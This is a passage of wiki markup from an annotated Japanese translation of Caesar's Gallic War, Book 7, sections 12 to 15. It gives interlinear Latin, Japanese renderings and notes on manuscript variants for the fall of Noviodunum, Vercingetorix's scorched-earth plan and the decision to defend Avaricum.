**それ&lt;small&gt;&lt;/small&gt;を城塞都市の者たちが視認して、救援の希望を抱くや否や、
*[[wikt:en:clamor#Latin|clamore]] [[wikt:en:sublatus#Etymology_1|sublato]] 
**雄叫びを上げて、
*arma capere, 
**武具を取ること、
*portas [[wikt:en:claudere#Etymology_1|claudere]], 
**城門を閉じること、
*[[wikt:en:murus#Latin|murum]] [[wikt:en:complere|complere]] [[wikt:en:coeperunt|coeperunt]]. 
**城壁を&lt;small&gt;（兵で）&lt;/small&gt;満たすこと、を始めた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：sublato は　[[wikt:en:tollo|tollo]] の分詞）&lt;/span&gt;
:　&lt;!--　[[wikt:en:|　--&gt;
;　　　城塞民たちの心変わりに感づいたローマ人の将兵たちが城外に撤収する
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; [[wikt:en:centurio#Latin|Centuriones]] in oppido, 
**城塞都市の中の&lt;small&gt;（カエサルの配下の）&lt;/small&gt;百人隊長たちは、
*cum ex [[wikt:en:significatio#Latin|significatione]] Gallorum [[wikt:en:novus#Latin|novi]] [[wikt:en:aliquis#Latin|aliquid]] ab iis [[wikt:en:iniri#Latin|iniri]] consilii [[wikt:en:intellexissent|intellexissent]], 
**ガッリア人たちの兆候から、彼らによる何らかの新たな謀りごとが始められていると察知していたので、
*[[wikt:en:gladius#Latin|gladiis]] [[wikt:en:destrictus#Latin|destrictis]] 
**&lt;ruby&gt;&lt;rb&gt;[[w:グラディウス (武器)|長剣]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;グラディウス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; を抜いて、
*portas [[wikt:en:occupaverunt|occupaverunt]] 
**城門を占拠して、
*suosque omnes [[wikt:en:incolumis#Latin|incolumes]] [[wikt:en:receperunt|receperunt]].
**配下たち皆を無傷なままで退却させた。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===13節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/13節]]　{{進捗|00%|2026-02-15}}&lt;/span&gt;
[[画像:Caesar's_campaign_to_Noviodunum_in_52BC.png|thumb|right|250px|ノウィオドゥーヌムに至るカエサルの進路（青線）および[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]の進路（赤線）。青字名は親ローマ部族、赤字名は反ローマ部族。カエサルはアゲディンクムを発してからウェッラウノドゥーヌム、ケナブム、ノウィオドゥーヌムを続けて降し、ボイイー族のゴルゴビナ攻略を諦めたウェルキンゲトリークスもノウィオドゥーヌム来援に駆けつけて来た。ここに、初めて両軍が騎兵戦で激突することになった。]]

;同盟軍の騎兵を撃退、城塞都市を再び降して、アウァーリクム攻めに向かう
:　
;　　　カエサルが、騎兵戦の切り札としてゲルマーニア騎兵を繰り出す
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Caesar ex castris [[wikt:en:equitatus#Latin|equitatum]] [[wikt:en:educi#Latin|educi]] [[wikt:en:iubet#Latin|iubet]], 
**カエサルは、陣営から[[w:騎兵|騎兵隊]]を進発させることを命じて、
*&lt;u&gt;[[wikt:en:proelium#Latin|proelium]]&lt;/u&gt; [[wikt:en:equester#Latin|equestre]] [[wikt:en:committit|committit]]; 
**&lt;small&gt;（ウェルキンゲトリークス勢と）&lt;/small&gt;騎兵戦を交える。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&lt;br&gt;　　　　　&amp;alpha;系写本では proelium だが、&lt;br&gt;　　　　　&amp;beta;系写本では proelium&lt;u&gt;que&lt;/u&gt; となっている。）&lt;/span&gt;
*[[wikt:en:laborans#Latin|laborantibus]] iam suis 
**配下の者たちがすでに苦戦していたときに、
*[[wikt:en:Germanus#Adjective|Germanos]] [[wikt:en:eques#Latin|equites]] circiter CCCC([[wikt:en:quadringentos|quadringentos]]) [[wikt:en:submittit|submittit]], 
**&lt;small&gt;（カエサルは）&lt;/small&gt;[[w:ゲルマニア|ゲルマーニア]]人の騎兵たち約400騎を救援に派遣する。
*quos ab [[wikt:en:initium#Latin|initio]] &lt;u&gt;habere [[wikt:en:secum#Latin|secum]]&lt;/u&gt; [[wikt:en:instituerat|instituerat]]. 
**その者らは&lt;small&gt;（戦いの）&lt;/small&gt;当初から自分のそばに保持すると決めていたものであった。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&lt;br&gt;　　　　　&amp;chi;系･B･M･S写本では habere secum だが、&lt;br&gt;　　　　　&amp;beta;系･L･N写本では secum habere となっている。）&lt;/span&gt;
:　
;　　　ゲルマーニア騎兵が、ウェルキンゲトリークス配下の騎兵を一蹴する
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Eorum [[wikt:en:impetus#Latin|impetum]] [[wikt:en:Galli#Latin|Galli]] [[wikt:en:sustineo#Latin|sustinere]] non [[wikt:en:potuerunt|potuerunt]] 
**彼ら&lt;small&gt;〔ゲルマーニア人騎兵〕&lt;/small&gt;の突撃に&lt;small&gt;（敵側の）&lt;/small&gt;ガッリア人たちは持ちこたえることができず、
*atque in fugam [[wikt:en:coniectus#Participle|coniecti]] 
**敗走に追いやられて、
*multis [[wikt:en:amissus#Latin|amissis]] 
**大勢の者を失い、
*se ad [[wikt:en:agmen#Latin|agmen]] [[wikt:en:receperunt|receperunt]]. 
**&lt;small&gt;（後方にいたウェルキンゲトリークスの）&lt;/small&gt;隊列に退却した。
:　
;　　　城塞都市ノウィオドゥーヌムがカエサルの軍門に降る
*Quibus [[wikt:en:profligatus#Latin|profligatis]], 
**彼ら&lt;small&gt;〔ウェルキンゲトリークスの騎兵隊〕&lt;/small&gt;が制圧されると、
*rursus [[wikt:en:oppidanus#Noun|oppidani]] [[wikt:en:perterritus#Latin|perterriti]] 
**[[w:オッピドゥム|城塞都市]]&lt;small&gt;〔ノウィオドゥーヌム〕&lt;/small&gt;の者たちは再び怖れをなして、
*[[wikt:en:comprehensus#Latin|comprehensos]] eos, quorum [[wikt:en:opera#Latin|opera]] [[wikt:en:plebs#Latin|plebem]] [[wikt:en:concitatus#Latin|concitatam]] [[wikt:en:existimabant|existimabant]], 
**その働きかけによって民衆を扇動したと&lt;small&gt;（城塞の民が）&lt;/small&gt;考えていたところの者たちを拘束して、
*ad Caesarem [[wikt:en:perduxerunt|perduxerunt]] 
**カエサルのもとへ連行して、
*seseque ei [[wikt:en:dediderunt|dediderunt]]. 
**自分たちも彼&lt;small&gt;〔カエサル〕&lt;/small&gt;に降伏した。

:　&lt;!--　[[wikt:en:|　--&gt;
;　　　カエサルが、ビトゥリゲース族の城塞都市アウァーリクムを目指す
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Quibus rebus [[wikt:en:confectus#Latin|confectis]], 
**それらの事が成し遂げられると、
*Caesar ad oppidum [[wikt:en:Avaricum#Latin|Avaricum]], 
**カエサルは、[[w:オッピドゥム|城塞都市]]アウァーリクムへ、
*quod erat [[wikt:en:maximus#Latin|maximum]] [[wikt:en:munitissimus#Latin|munitissimum]]&lt;nowiki&gt;que&lt;/nowiki&gt; in finibus [[wikt:en:Bituriges#Latin|Biturigum]] atque [[wikt:en:ager#Latin|agri]] [[wikt:en:fertilissimus#Latin|fertilissima]] [[wikt:en:regio#Latin|regione]], 
**──それはビトゥリゲース族の領土で耕地の最も肥沃な地方にあり、最大かつ最も要塞化されていたが、──
*[[wikt:en:profectus#Etymology_3|profectus]] est, 
**&lt;small&gt;（そこへ）&lt;/small&gt;出発した。
*quod eo oppido [[wikt:en:receptus#Latin|recepto]] 
**──というのは、その城塞都市を獲得することで、
*[[wikt:en:civitas#Latin|civitatem]] [[wikt:en:Bituriges#Latin|Biturigum]] se in [[wikt:en:potestas#Latin|potestatem]] [[wikt:en:redacturus#Latin|redacturum]] [[wikt:en:confidebat|confidebat]].
**ビトゥリゲースの部族国家を&lt;small&gt;（カエサルの）&lt;/small&gt;隷下に引き戻すであろうと、確信していたからである──。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

==アウァーリクム攻略戦==
===14節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/14節]]　{{進捗|00%|2026-03-08}}&lt;/span&gt;
;ウェルキンゲトリークスが兵站妨害と焦土戦術を決断
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:Vercingetorix#Latin|Vercingetorix]] tot [[wikt:en:continuus#Latin|continuis]] [[wikt:en:incommodum#Latin|incommodis]] [[wikt:en:Vellaunodunum#Latin|Vellaunoduni]], [[wikt:en:Genabum#Latin|Cenabi]], [[wikt:en:Noviodunum#Latin|Novioduni]] [[wikt:en:acceptus#Latin|acceptis]] 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、ウェッラウノドゥーヌム、ケナブム、ノウィオドゥーヌムと、このような多くの引き続く敗北をこうむると、
*suos ad [[wikt:en:concilium#Latin|concilium]] [[wikt:en:convocat#Latin|convocat]]. 
**麾下の者たちを会合へ召集する。

:　&lt;!--　[[wikt:en:|　--&gt;
;　　　ウェルキンゲトリークスが、ローマ勢の糧道を断つことを提言
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:docet|Docet]] longe alia ratione esse bellum [[wikt:en:gerendus#Latin|gerendum]] atque antea [[wikt:en:gestus#Participle|gestum]] sit. 
**以前に遂行されていたのとはまったく別の作戦で戦争が遂行されるべきである、と説く。
*Omnibus [[wikt:en:modus#Latin|modis]] huic rei studendum, ut [[wikt:en:pabulatio#Latin|pabulatione]] et [[wikt:en:commeatus#Noun|commeatu]] Romani [[wikt:en:prohibeantur|prohibeantur]]. 
**ローマ人たちが[[w:糧秣|糧秣]]徴発と物資輸送を妨げられるべく、この事をあらゆる方法で追求するべきだ。

:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Id esse facile, 
**そのことは、容易である。
*quod [[wikt:en:equitatus#Latin|equitatu]] ipsi [[wikt:en:abundent#Latin|abundent]] 
**というのは&lt;small&gt;（我々ガッリア勢）&lt;/small&gt;自身は[[w:騎兵|騎兵隊]]がたくさんおり、
*et quod anni tempore [[wikt:en:subleventur|subleventur]]. 
**&lt;small&gt;（冬という）&lt;/small&gt;時季に支えられているのだから。
:　
;　　　ローマ人が穀物倉に群がるところを騎兵で襲撃するべし
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:pabulum#Latin|Pabulum]] [[wikt:en:secari|secari]] non posse; 
**&lt;small&gt;（この時季には）&lt;/small&gt;&lt;ruby&gt;&lt;rb&gt;[[w:秣|秣]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;まぐさ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; は刈り取られることができない。
*[[wikt:en:necessario#Adverb|necessario]] [[wikt:en:dispersus#Latin|dispersos]] hostes ex [[wikt:en:aedificium#Latin|aedificiis]] [[wikt:en:petere|petere]]; 
**敵たち&lt;small&gt;〔ローマ勢〕&lt;/small&gt;はやむなく分散して、家屋から&lt;small&gt;（糧秣を）&lt;/small&gt;求める。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ほとんどの会話が間接話法を採る本書で、&lt;br&gt;　　　　ローマ勢が「敵」hostes と表現されることは極めてまれである。）&lt;/span&gt;
*hos omnes [[wikt:en:cotidie#Latin|cotidie]] ab [[wikt:en:eques#Latin|equitibus]] &lt;u&gt;deleri&lt;/u&gt; posse. 
**これら皆を日々に&lt;small&gt;（ガッリア側の）&lt;/small&gt;騎兵隊によって壊滅させることができる。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;beta;系写本では [[wikt:en:deleri|deleri]]「滅ぼされる」だが、&lt;br&gt;　　　　　　　　　&amp;alpha;系写本では [[wikt:en:diligi#Latin|diligi]]「分断される」となっている。）&lt;/span&gt;
:　
;　　　焦土戦術をもって、ローマ人と軍馬を飢えさせるべし
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; Praeterea [[wikt:en:salus#Latin|salutis]] causa rei [[wikt:en:familiaris#Adjective|familiaris]] [[wikt:en:commodum#Latin|commoda]] [[wikt:en:neglegendus#Latin|neglegenda]]; 
**さらに&lt;small&gt;（同盟諸部族に共通の）&lt;/small&gt;安全のために、私有資産の利益はなおざりにされるべきだ。
*[[wikt:en:vicus#Latin|vicos]] atque [[wikt:en:aedificium#Latin|aedificia]] [[wikt:en:incendi#Verb_2|incendi]] [[wikt:en:oportet#Latin|oportere]] 
**&lt;small&gt;（以下のような領域の）&lt;/small&gt;村々や建物は焼かれるべきだ。
*hoc spatio ab Boia quoque versus, quo [[wikt:en:pabulandi#Verb|pabulandi]] causa [[wikt:en:adire#Latin|adire]] posse [[wikt:en:videantur|videantur]]. 
**[[w:ボイイ族|ボイイー族]]のところから四方八方へ糧秣徴発するために赴くことができると思われる領域では。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：主要写本&amp;omega; にある ab Boia「ボイイー族のところから」は、&lt;br&gt;　　　　現代では「街道から」ab via と修正読みされることが多い。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:quoque#Latin|quōque]] [[wikt:en:versus#Adverb|versus]] ＝ [[wikt:en:quisque#Latin|quōquō]] versus「あらゆる方向へ」）&lt;/span&gt;
[[画像:Eglise_saint_parize_le_chatel.jpg|thumb|right|250px|ボイイ族（Boii）の領内であったと思われる現在のサン＝パリーズ＝ル＝シャテルの教会。ボイイー族の首邑ゴルゴビナは、[[w:ニエーヴル県|ニエーヴル県]]のサン＝パリーズ＝ル＝シャテル（[[w:en:Saint-Parize-le-Châtel|Saint-Parize-le-Châtel]]）あるいは[[w:シェール県|シェール県]]のラ・ゲルシュ＝スュル＝ローボワ（[[w:en:La Guerche-sur-l'Aubois|La Guerche-sur-l'Aubois]]）の近辺にあったと推定されている。]]
:　
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; Harum ipsis rerum copiam [[wikt:en:suppeto#Latin|suppetere]], 
**&lt;small&gt;（ガッリア勢）&lt;/small&gt;自身には、これらの物は、豊富に貯えてある。
*quod quorum in finibus bellum [[wikt:en:geratur|geratur]], eorum [[wikt:en:ops#Noun_4|opibus]] [[wikt:en:subleventur|subleventur]]; 
**──というのは、戦争が遂行される領土内の者たちの、彼らの助力に支えられているからだ。──
:　
*&lt;!--❼--&gt;&lt;sup&gt;(7)&lt;/sup&gt; Romanos &lt;u&gt;aut&lt;/u&gt; [[wikt:en:inopia#Latin|inopiam]] non [[wikt:en:laturus#Latin|laturos]] &lt;span style=&quot;color:#009900;&quot;&gt;(esse)&lt;/span&gt;
**ローマ人たちは、あるいは&lt;small&gt;（糧食の）&lt;/small&gt;欠乏に耐えられないであろうし、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:aut#Latin|aut]] ～ aut …「あるいは～あるいは…」）&lt;/span&gt;
*&lt;u&gt;aut&lt;/u&gt; magno &lt;u&gt;cum&lt;/u&gt; periculo longius &lt;u&gt;ab&lt;/u&gt; castris [[wikt:en:processurus#Latin|processuros]] &lt;span style=&quot;color:#009900;&quot;&gt;(esse)&lt;/span&gt;; 
**あるいは大きな危険とともに陣営からより遠くに進み出るであろう。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：cum は、&amp;rho;系写本・写本Tの記述で、&lt;br&gt;　　　　　　　　&amp;alpha;系写本・写本Vにはない。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ab は、&amp;alpha;系・&amp;rho;系写本・写本Vの記述で、写本Tでは a となっている。）&lt;/span&gt;
:　
*&lt;!--❽--&gt;&lt;sup&gt;(8)&lt;/sup&gt; neque [[wikt:en:interesse#Latin|interesse]], ipsos&lt;u&gt;ne&lt;/u&gt; [[wikt:en:interficiant|interficiant]], [[wikt:en:impedimentum#Latin|impedimentis]]&lt;u&gt;&lt;nowiki&gt;ne&lt;/nowiki&gt;&lt;/u&gt; [[wikt:en:exuant|exuant]], 
**&lt;small&gt;（ローマ人の）&lt;/small&gt;当人たちを殺戮するか、輜重を奪い取るか、&lt;small&gt;（どちらであろうが）&lt;/small&gt;違いはない。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:-ne#Latin|-ne]] は疑問小辞。～ -ne, … -ne 「～か、…か」）&lt;/span&gt;
*quibus [[wikt:en:amissus#Latin|amissis]] bellum [[wikt:en:geri#Latin|geri]] non [[wikt:en:possit|possit]]. 
**それら&lt;small&gt;〔輜重〕&lt;/small&gt;を失えば、戦争を遂行することができないのだから。
:　
*&lt;!--❾--&gt;&lt;sup&gt;(9)&lt;/sup&gt; Praeterea oppida [[wikt:en:incendi#Verb_2|incendi]] [[wikt:en:oportet#Latin|oportere]], 
**さらに、&lt;small&gt;（以下のような）&lt;/small&gt;[[w:オッピドゥム|城塞都市]]は焼かれなければならない。
*quae non [[wikt:en:munitio#Latin|munitione]] et loci natura &lt;u&gt;ab omni&lt;/u&gt; sint &lt;u&gt;periculo&lt;/u&gt; [[wikt:en:tutus#Latin|tuta]], 
**防塁や地勢によってあらゆる危険から守られていない&lt;small&gt;（城塞都市は）&lt;/small&gt;。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ab [[wikt:en:omni#Latin|omni]] [[wikt:en:periculum#Latin|periculo]] 「あらゆる危険から」）&lt;/span&gt;
*&lt;u&gt;neu&lt;/u&gt; suis sint ad &lt;u&gt;detrectandam&lt;/u&gt; [[wikt:en:militia#Latin|militiam]] [[wikt:en:receptaculum#Latin|receptacula]] 
**麾下の者たちにとっては&lt;small&gt;（城塞都市が）&lt;/small&gt;[[w:兵役逃れ|兵役を忌避すること]]のための隠れ場所になることがないように、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:neu#Latin|neu]] は &amp;alpha;系写本の記述で、&amp;beta;系写本では [[wikt:en:ne#Latin|ne]] となっている。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:detrectandam|detrectandam]] は &amp;alpha;系・&amp;rho;系写本の表記で、&amp;pi;系写本では [[wikt:en:detractandam|detractandam]] となっている。）&lt;/span&gt;
*neu [[wikt:en:Romani#Latin|Romanis]] [[wikt:en:propositus#Latin|proposita]] ad [[wikt:en:copia#Latin|copiam]] [[wikt:en:commeatus#Noun|commeatus]] [[wikt:en:praeda#Latin|praedam]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:tollendus#Latin|tollendam]], 
**ローマ人たちにとって&lt;small&gt;（城塞都市が）&lt;/small&gt;豊富な物資や戦利品を奪うための置き場所ともならないように。
:　
*&lt;!--❿--&gt;&lt;sup&gt;(10)&lt;/sup&gt; Haec si [[wikt:en:gravis#Latin|gravia]] aut [[wikt:en:acerbus#Latin|acerba]] [[wikt:en:videantur|videantur]], 
**もし、これら&lt;small&gt;（の作戦）&lt;/small&gt;が厳しい、または苦しいと見えるとしても、
*multo illa [[wikt:en:graviter#Latin|gravius]] &lt;u&gt;aestimare&lt;/u&gt;, [[wikt:en:liber#Noun_6|liberos]], [[wikt:en:coniunx#Latin|coniuges]] in [[wikt:en:servitus#Latin|servitutem]] [[wikt:en:abstrahi|abstrahi]], ipsos [[wikt:en:interfici|interfici]]; 
**それより、子供や配偶者たちが奴隷状態で連れ去られ、自身が殺されることの方が、はるかに厳しいと判断されるべきだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:aestimare|aestimare]] だが、 &lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:aestimari|aestimari]] [[wikt:en:debere|debere]] となっている。）&lt;/span&gt;
*quae sit [[wikt:en:necesse#Latin|necesse]] [[wikt:en:accido#Etymology_1|accidere]] [[wikt:en:victus#Participle|victis]].
**それらのことは、打ち負かされた者たちには、起こることが必然なのである。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===15節===
[[画像:Bourges_-_002_-_Low_Res.jpg|thumb|right|300px|'''アウァーリクム'''（Avaricum）すなわちビトゥリゲース族（Bituriges）の名を残すともいわれる現在の[[w:ブールジュ|ブールジュ]]（Bourges）の[[w:サン＝テチエンヌ大聖堂 (ブールジュ)|サン＝テティエンヌ大聖堂]]（[[w:世界遺産|世界遺産]]）。この街はガッリア時代からこの地方の中心的な城塞都市であり、現代ではそれほど大都会ではないが、世界遺産の大聖堂や音楽祭などで広く知られている。]]
[[画像:Bourges.JPG|thumb|right|300px|アウァーリクムすなわち[[w:ブールジュ|ブールジュ]]の大聖堂から眺めた街並み。'''ビトゥリゲース族'''はかつてはイタリア北部に移住したこともある強大な部族で、この当時はブルディガラ（Burdigala：現在の[[w:ボルドー|ボルドー]]）周辺にいたビトゥリゲース・ウィウィスキ族（Bituriges Vivisci）およびアウァーリクム周辺にいた'''ビトゥリゲース・クビ族'''（Bituriges Cubi）の二派に分かれていた。『ガリア戦記』に登場するのはビトゥリゲース・クビ族の方である。]]
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/15節]]　{{進捗|00%|2026-03-08}}&lt;/span&gt;

;焦土戦術開始、しかしアウァーリクムの防衛を決定
:　
;　　　焦土戦術として、ビトゥリゲース族の街々が焼かれる
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Omnium [[wikt:en:consensus#Latin|consensu]] 
**&lt;small&gt;（会合の参加者）&lt;/small&gt;全員の合意により
*hac [[wikt:en:sententia#Latin|sententia]] [[wikt:en:probatus#Latin|probata]], 
**&lt;small&gt;（ウェルキンゲトリークスの）&lt;/small&gt;この意向が承認されると、
*uno die [[wikt:en:amplius|amplius]] [[wikt:en:viginti|viginti]]&lt;sub&gt; (XX)&lt;/sub&gt; [[wikt:en:urbs#Latin|urbes]] [[wikt:en:Bituriges#Latin|Biturigum]] [[wikt:en:incenduntur|incenduntur]]. 
**一日で、20より多いビトゥリゲース族の街々が焼かれる。
:　
;　　　ほかの諸部族の街々も焼かれる
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Hoc idem fit in reliquis [[wikt:en:civitas#Latin|civitatibus]]: 
**これと同じことが、ほかの諸部族でも行なわれて、
*in omnibus partibus 
**あらゆる方面において、
*[[wikt:en:incendium#Latin|incendia]] [[wikt:en:conspiciuntur|conspiciuntur]]; 
**炎上が望見される。
*quae &lt;u&gt;etsi&lt;/u&gt; magno cum [[wikt:en:dolor#Latin|dolore]] omnes [[wikt:en:ferebant|ferebant]], 
**それらの皆が大きな悲嘆とともに耐えていたとしても、
*&lt;u&gt;tamen&lt;/u&gt; hoc sibi [[wikt:en:solacium#Latin|solacii]] [[wikt:en:proponebant|proponebant]], 
**しかし、自分らにとっての&lt;small&gt;（以下の）&lt;/small&gt;慰めを抱いていた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:etsi#Latin|etsi]] ～ [[wikt:en:tamen#Latin|tamen]] …&lt;br&gt;　　　　「～としても、にもかかわらず…」）&lt;/span&gt;
*quod se prope [[wikt:en:exploratus#Latin|explorata]] [[wikt:en:victoria#Latin|victoria]] 
**勝利はほぼ確実なものとされて、
*celeriter [[wikt:en:amissus#Latin|amissa]] [[wikt:en:reciperaturus#Latin|reciperaturos]] &lt;span style=&quot;color:#009900;&quot;&gt;(esse)&lt;/span&gt; 
**失ったものを速やかに回復するであろう、
*[[wikt:en:confidebant|confidebant]]. 
**と確信していたことである。
:　
;　　　アウァーリクムは、焦土戦術か、それとも防衛すべきか？
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; [[wikt:en:deliberatur|Deliberatur]] de [[wikt:en:Avaricum#Latin|Avarico]] in [[wikt:en:communis#Latin|communi]] [[wikt:en:concilium#Latin|concilio]], [[wikt:en:incendi#Latin|incendi]] &lt;u&gt;placeret&lt;/u&gt; an [[wikt:en:defendi#Latin|defendi]]. 
**合同の会合において、アウァーリクムについて (も) 焼き討ちが良いか、あるいは防衛か、が吟味される。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:placeret|placeret]]&lt;sub&gt; (接続法･未完了過去)&lt;/sub&gt; だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:placeat|placeat]]&lt;sub&gt; (接続法･現在)&lt;/sub&gt; となっている。）&lt;/span&gt;
:　
;　　　ビトゥリゲース族が、要害であるアウァーリクムの防衛を懇願する
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:procumbunt|Procumbunt]] omnibus Gallis ad pedes [[wikt:en:Bituriges#Latin|Bituriges]], 
**&lt;small&gt;（会合に参加していた）&lt;/small&gt;すべてのガッリア人の足元へ、ビトゥリゲース族の者たちはひれ伏す。
*ne [[wikt:en:pulcherrimus#Latin|pulcherrimam]] prope &lt;u&gt;[[wikt:en:totus#Latin|totius]] Galliae&lt;/u&gt; [[wikt:en:urbs#Latin|urbem]], quae &lt;u&gt;et&lt;/u&gt; [[wikt:en:praesidium#Latin|praesidio]] et [[wikt:en:ornamentum#Latin|ornamento]] sit [[wikt:en:civitas#Latin|civitati]], 
**ほぼ全ガッリアの街々で最も美しいもの、部族にとっては要害でも誉れでもあるものを、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：totius Galliae は &amp;alpha;系写本の語順で、&amp;beta;系写本では Galliae totius となっている。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：et は &amp;beta;系写本にはあるが、&amp;alpha;系写本にはない。）&lt;/span&gt;
*suis manibus [[wikt:en:succendo#Latin|succendere]] [[wikt:en:cogerentur|cogerentur]]; 
**自分たちの手で燃やすことを強いられないように、と（懇願した）。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ne ～ cogerentur；～を強いられないように）&lt;/span&gt;
:　
;　　　アウァーリクムの地の利
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; facile se loci natura [[wikt:en:defensurus#Latin|defensuros]] [[wikt:en:dicunt|dicunt]], 
**自分たちは&lt;small&gt;（アウァーリクムを）&lt;/small&gt;地勢によって容易に防衛するだろう、と述べる。
*quod prope ex omnibus partibus [[wikt:en:flumen#Latin|flumine]] et [[wikt:en:palus#Latin|palude]] [[wikt:en:circumdatus#Latin|circumdata]] 
**というのは&lt;small&gt;（アウァーリクムは）&lt;/small&gt;ほぼあらゆる方向から川や沼地で囲まれており、
*unum habeat et [[wikt:en:perangustus#Latin|perangustum]] [[wikt:en:aditus#Latin|aditum]]. 
**一つだけ、非常に狭い進入路を持っているからだ。
[[画像:Bourges_2.JPG|thumb|right|300px|アウァーリクムすなわち[[w:ブールジュ|ブールジュ]]の大聖堂から眺めた沼地。イェーヴル川（[[w:fr:Yèvre (Cher)|fr:Yèvre]]）と沼地は、カエサルが書いたようにガッリア時代からこの街を囲んでいる。]]
:　
;　　　アウァーリクムの防衛が認められる
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; [[wikt:en:datur#Latin|Datur]] [[wikt:en:petens#Latin|petentibus]] [[wikt:en:venia#Latin|venia]] 
**&lt;small&gt;（アウァーリクムの防衛を）&lt;/small&gt;求める者たちに許可が与えられる。
*[[wikt:en:dissuadens#Latin|dissuadente]] primo [[wikt:en:Vercingetorix#Latin|Vercingetorige]], 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は当初は思い止まらせていたが、
*post [[wikt:en:concedens#Latin|concedente]] et [[wikt:en:prex#Latin|precibus]] ipsorum et [[wikt:en:misericordia#Latin|misericordia]] [[wikt:en:vulgus#Latin|vulgi]]. 
**後には、彼ら当人の懇願にも、民衆への哀れみにも、譲歩した。
*[[wikt:en:defensor#Latin|Defensores]] [[wikt:en:oppidum#Latin|oppido]] [[wikt:en:idoneus#Latin|idonei]] [[wikt:en:deliguntur|deliguntur]].
**城塞都市の適切な防衛者たちが選ばれる。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===16節===
